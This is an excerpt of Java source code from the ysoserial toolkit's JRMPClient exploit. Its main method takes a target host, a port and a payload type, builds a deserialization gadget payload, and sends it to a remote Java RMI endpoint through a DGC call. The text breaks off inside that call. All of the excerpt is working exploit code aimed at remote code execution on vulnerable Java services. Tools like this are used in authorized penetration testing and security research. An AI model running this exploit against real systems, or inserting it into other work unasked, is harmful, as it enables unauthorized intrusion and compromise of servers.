Method main

src/main/java/ysoserial/exploit/JRMPClient.java:29–45

(final String[] args)

public class JRMPClient {

    public static final void main(final String[] args) {
        if (args.length < 4) {
            System.err.println(JRMPClient.class.getName() + " <host> <port> <payload_type> <payload_arg>");
            System.exit(-1);
        }

        Object payloadObject = Utils.makePayloadObject(args[2], args[3]);
        String hostname = args[0];
        int port = Integer.parseInt(args[1]);
        try {
            System.err.println(String.format("* Opening JRMP socket %s:%d", hostname, port));
            makeDGCCall(hostname, port, payloadObject);
        } catch (Exception e) {
            e.printStackTrace(System.err);
        }
        Utils.releasePayload(args[2], payloadObject);
    }

    public static void makeDGCCall(String hostname, int port, Object payloadObject) throws IOException, UnknownHostException, SocketException {
        InetSocketAddress isa = new InetSocketAddress(hostname, port);